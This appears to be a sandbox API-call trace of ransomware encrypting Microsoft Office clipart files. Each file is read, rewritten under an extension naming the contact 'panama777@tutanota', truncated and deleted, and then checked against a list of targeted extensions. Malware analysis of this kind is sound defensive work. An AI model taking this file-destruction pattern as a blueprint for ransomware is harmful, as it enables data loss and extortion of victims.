	[0272.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.178] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.178] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.179] GetLastError () returned 0x0
	[0272.179] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x6978, lpOverlapped=0x0) returned 1
	[0272.181] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x6980, lpOverlapped=0x0) returned 1
	[0272.182] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.182] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.182] SetEndOfFile (hFile=0x334) returned 1
	[0272.182] CloseHandle (hObject=0x334) returned 1
	[0272.182] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.182] SetEndOfFile (hFile=0x358) returned 1
	[0272.185] CloseHandle (hObject=0x358) returned 1
	[0272.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1
	[0272.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.185] lstrlenW (lpString=".doc") returned 4
	[0272.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.185] lstrlenW (lpString=".docx") returned 5
	[0272.185] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0272.186] lstrlenW (lpString=".pdf") returned 4
	[0272.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString=".xls") returned 4
	[0272.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.186] lstrlenW (lpString=".xlsx") returned 5
	[0272.186] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0272.186] lstrlenW (lpString=".ppt") returned 4
	[0272.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.186] lstrlenW (lpString=".zip") returned 4
	[0272.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.186] lstrlenW (lpString=".rar") returned 4
	[0272.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString=".bz2") returned 4
	[0272.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString=".7z") returned 3
	[0272.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.186] lstrlenW (lpString=".dbf") returned 4
	[0272.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.186] lstrlenW (lpString=".1cd") returned 4
	[0272.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63
	[0272.186] lstrlenW (lpString=".jpg") returned 4
	[0272.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.187] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11216) returned 1
	[0272.187] CloseHandle (hObject=0x358) returned 1
	[0272.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20
	[0272.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.187] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.187] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.188] GetLastError () returned 0x0
	[0272.188] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2bd0, lpOverlapped=0x0) returned 1
	[0272.366] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2be0, lpOverlapped=0x0) returned 1
	[0272.366] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.366] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.366] SetEndOfFile (hFile=0x334) returned 1
	[0272.367] CloseHandle (hObject=0x334) returned 1
	[0272.367] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.367] SetEndOfFile (hFile=0x358) returned 1
	[0272.369] CloseHandle (hObject=0x358) returned 1
	[0272.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1
	[0272.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.516] lstrlenW (lpString=".doc") returned 4
	[0272.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString=".docx") returned 5
	[0272.516] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.516] lstrlenW (lpString=".pdf") returned 4
	[0272.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString=".xls") returned 4
	[0272.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.516] lstrlenW (lpString=".xlsx") returned 5
	[0272.516] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.516] lstrlenW (lpString=".ppt") returned 4
	[0272.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.516] lstrlenW (lpString=".zip") returned 4
	[0272.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.516] lstrlenW (lpString=".rar") returned 4
	[0272.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString=".bz2") returned 4
	[0272.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString=".7z") returned 3
	[0272.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.516] lstrlenW (lpString=".dbf") returned 4
	[0272.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.516] lstrlenW (lpString=".1cd") returned 4
	[0272.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63
	[0272.517] lstrlenW (lpString=".jpg") returned 4
	[0272.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.517] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11228) returned 1
	[0272.517] CloseHandle (hObject=0x388) returned 1
	[0272.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20
	[0272.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.517] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.517] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.518] GetLastError () returned 0x0
	[0272.518] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2bdc, lpOverlapped=0x0) returned 1
	[0272.536] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2be0, lpOverlapped=0x0) returned 1
	[0272.537] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.537] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.537] SetEndOfFile (hFile=0x28c) returned 1
	[0272.537] CloseHandle (hObject=0x28c) returned 1
	[0272.537] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.537] SetEndOfFile (hFile=0x388) returned 1
	[0272.539] CloseHandle (hObject=0x388) returned 1
	[0272.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1
	[0272.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.568] lstrlenW (lpString=".doc") returned 4
	[0272.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.568] lstrlenW (lpString=".docx") returned 5
	[0272.568] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0272.568] lstrlenW (lpString=".pdf") returned 4
	[0272.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.568] lstrlenW (lpString=".xls") returned 4
	[0272.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.569] lstrlenW (lpString=".xlsx") returned 5
	[0272.569] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0272.569] lstrlenW (lpString=".ppt") returned 4
	[0272.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.569] lstrlenW (lpString=".zip") returned 4
	[0272.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.569] lstrlenW (lpString=".rar") returned 4
	[0272.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.569] lstrlenW (lpString=".bz2") returned 4
	[0272.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.569] lstrlenW (lpString=".7z") returned 3
	[0272.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.569] lstrlenW (lpString=".dbf") returned 4
	[0272.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.569] lstrlenW (lpString=".1cd") returned 4
	[0272.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63
	[0272.569] lstrlenW (lpString=".jpg") returned 4
	[0272.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.596] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4628) returned 1
	[0272.596] CloseHandle (hObject=0x328) returned 1
	[0272.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20
	[0272.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.596] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.596] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.597] GetLastError () returned 0x0
	[0272.597] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1214, lpOverlapped=0x0) returned 1
	[0272.598] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1220, lpOverlapped=0x0) returned 1
	[0272.599] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.599] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.599] SetEndOfFile (hFile=0x28c) returned 1
	[0272.599] CloseHandle (hObject=0x28c) returned 1
	[0272.599] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.599] SetEndOfFile (hFile=0x328) returned 1
	[0272.601] CloseHandle (hObject=0x328) returned 1
	[0272.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1
	[0272.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.602] lstrlenW (lpString=".doc") returned 4
	[0272.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString=".docx") returned 5
	[0272.602] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.602] lstrlenW (lpString=".pdf") returned 4
	[0272.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString=".xls") returned 4
	[0272.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.602] lstrlenW (lpString=".xlsx") returned 5
	[0272.602] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.602] lstrlenW (lpString=".ppt") returned 4
	[0272.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.602] lstrlenW (lpString=".zip") returned 4
	[0272.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.602] lstrlenW (lpString=".rar") returned 4
	[0272.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString=".bz2") returned 4
	[0272.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString=".7z") returned 3
	[0272.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.602] lstrlenW (lpString=".dbf") returned 4
	[0272.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.602] lstrlenW (lpString=".1cd") returned 4
	[0272.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63
	[0272.603] lstrlenW (lpString=".jpg") returned 4
	[0272.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.604] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11540) returned 1
	[0272.604] CloseHandle (hObject=0x328) returned 1
	[0272.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20
	[0272.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.604] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.604] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.604] GetLastError () returned 0x0
	[0272.605] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2d14, lpOverlapped=0x0) returned 1
	[0272.606] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2d20, lpOverlapped=0x0) returned 1
	[0272.607] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.607] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.607] SetEndOfFile (hFile=0x28c) returned 1
	[0272.608] CloseHandle (hObject=0x28c) returned 1
	[0272.608] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.608] SetEndOfFile (hFile=0x328) returned 1
	[0272.610] CloseHandle (hObject=0x328) returned 1
